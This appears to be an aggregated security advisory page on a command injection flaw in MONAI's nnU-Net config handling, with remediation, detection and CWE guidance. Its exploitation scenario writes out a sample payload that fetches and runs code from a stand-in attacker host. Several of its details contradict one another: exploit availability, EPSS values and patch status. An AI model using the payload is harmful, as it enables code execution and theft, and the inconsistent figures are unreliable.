CVE-2026-100844: MONAI: OS command injection via nnUNetV2Runner config
HIGHPoC AVAILABLECISA: ATTENDMONAI versions before 1.6.0 pass user-controlled values from the nnUNetV2Runner YAML configuration (notably dataset_name_or_id) and from CLI/kwargs arguments into a shell=True subprocess call without quoting, so a crafted config file runs arbitrary commands as the user who launches the job. Exposure is limited by the attack path: it is local, needs user interaction (loading a malicious YAML), there is no public exploit or Nuclei template, it is not in CISA KEV, and the EPSS of 0.77% (top 46%) is middling. Even so, CISA SSVC rates it ATTEND, and the impact is full compromise (C:H/I:H/A:H) of ML workstations and GPU training hosts that often hold patient imaging data, datasets and cloud credentials. Upgrade to MONAI 1.6.0 or later, and until then do not load YAML configs from untrusted sources and sanitize any externally supplied dataset identifiers.
What is the risk?
Medium-high. CVSS 7.8 (AV:L/AC:L/PR:N/UI:R) is a high base score, but real-world exploitability is reduced because the attacker needs the victim to load a malicious config. EPSS 0.00767 (46th percentile), no public exploit, no Nuclei template and no KEV listing suggest low near-term mass exploitation. Risk rises in shared research environments, MLOps pipelines that accept configs from external collaborators, and automated jobs that build nnU-Net configs from user input, where the injection can run with elevated privileges or access sensitive medical data. Downstream dependents and package risk data are unavailable, so the blast radius cannot be quantified.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| MONAI | pip | — | No patch |
Do you use MONAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade MONAI to 1.6.0 or later (see GHSA-rghg-q7wp-9767). 2) Until patched, treat nnUNetV2Runner YAML configs and kwargs as untrusted input. Validate dataset_name_or_id against a strict allowlist (digits or a safe name pattern) and reject shell metacharacters such as ; & | $ ` and newlines. 3) Run training jobs as unprivileged users in containers or sandboxes with least-privilege credentials and restricted egress. 4) Review config repositories and shared storage for modified YAML files. 5) Detection: monitor for unexpected child processes spawned by Python training jobs (shell with unusual commands, curl/wget, reverse shell patterns) and audit config files for metacharacters in dataset_name_or_id.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-100844?
MONAI versions before 1.6.0 pass user-controlled values from the nnUNetV2Runner YAML configuration (notably dataset_name_or_id) and from CLI/kwargs arguments into a shell=True subprocess call without quoting, so a crafted config file runs arbitrary commands as the user who launches the job. Exposure is limited by the attack path: it is local, needs user interaction (loading a malicious YAML), there is no public exploit or Nuclei template, it is not in CISA KEV, and the EPSS of 0.77% (top 46%) is middling. Even so, CISA SSVC rates it ATTEND, and the impact is full compromise (C:H/I:H/A:H) of ML workstations and GPU training hosts that often hold patient imaging data, datasets and cloud credentials. Upgrade to MONAI 1.6.0 or later, and until then do not load YAML configs from untrusted sources and sanitize any externally supplied dataset identifiers.
Is CVE-2026-100844 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-100844, increasing the risk of exploitation.
How to fix CVE-2026-100844?
1) Upgrade MONAI to 1.6.0 or later (see GHSA-rghg-q7wp-9767). 2) Until patched, treat nnUNetV2Runner YAML configs and kwargs as untrusted input. Validate dataset_name_or_id against a strict allowlist (digits or a safe name pattern) and reject shell metacharacters such as ; & | $ ` and newlines. 3) Run training jobs as unprivileged users in containers or sandboxes with least-privilege credentials and restricted egress. 4) Review config repositories and shared storage for modified YAML files. 5) Detection: monitor for unexpected child processes spawned by Python training jobs (shell with unusual commands, curl/wget, reverse shell patterns) and audit config files for metacharacters in dataset_name_or_id.
What systems are affected by CVE-2026-100844?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, medical imaging segmentation pipelines, ML research workstations, Jupyter/notebook-based ML environments, MLOps automation pipelines.
What is the CVSS score for CVE-2026-100844?
CVE-2026-100844 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.92%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011User ExecutionAML.T0050Command and Scripting InterpreterAML.T0112.001AI ArtifactsCompliance Controls Affected
What are the technical details?
Original Advisory
MONAI before 1.6.0 is vulnerable to OS command injection in the nnUNetV2Runner component (monai.apps.nnunet.nnunetv2_runner). User-controlled values taken from the YAML configuration file (notably dataset_name_or_id) and from CLI/kwargs arguments are concatenated into a command string without quoting or validation and then passed to subprocess with shell=True, so shell metacharacters (e.g., ';' on Linux, '&' on Windows) are interpreted. If a victim loads and processes a crafted configuration file — for example by instantiating nnUNetV2Runner with the malicious YAML and invoking a training/validation job such as train_single_model() — arbitrary commands are executed with the privileges of the user running the job.
Exploitation Scenario
An attacker shares a seemingly legitimate nnU-Net project config with a research team, or contributes it through a public repository or collaboration channel, with dataset_name_or_id set to something like '001; curl http://attacker/x | sh'. A data scientist instantiates nnUNetV2Runner with the YAML and calls train_single_model(). The unquoted value is concatenated into a command string and run through a shell, so the injected command executes on the GPU training host with the user's privileges. The attacker then exfiltrates datasets, API keys and model weights, and may establish persistence or pivot into the wider ML infrastructure.
Weaknesses (CWE)
CWE-78Improper Neutralization of Special Elements used in an OS CommandPrimaryCWE-78Improper Neutralization of Special Elements used in an OS CommandCWE-78 — Improper Neutralization of Special Elements used in an OS Command: The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command before it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
Timeline
Related Vulnerabilities
CVE-2026-487059.3MONAI: NaN/inf DICOM input causes DoS and corrupt inference
Same package: monaiCVE-2025-587558.8MONAI: path traversal allows arbitrary file write
Same package: monaiCVE-2025-587568.8MONAI: unsafe deserialization in CheckpointLoader allows RCE
Same package: monaiCVE-2025-587578.8MONAI: unsafe pickle deserialization RCE in data pipeline
Same package: monaiCVE-2026-1008428.8MONAI: eval sandbox bypass allows code execution
Same package: monai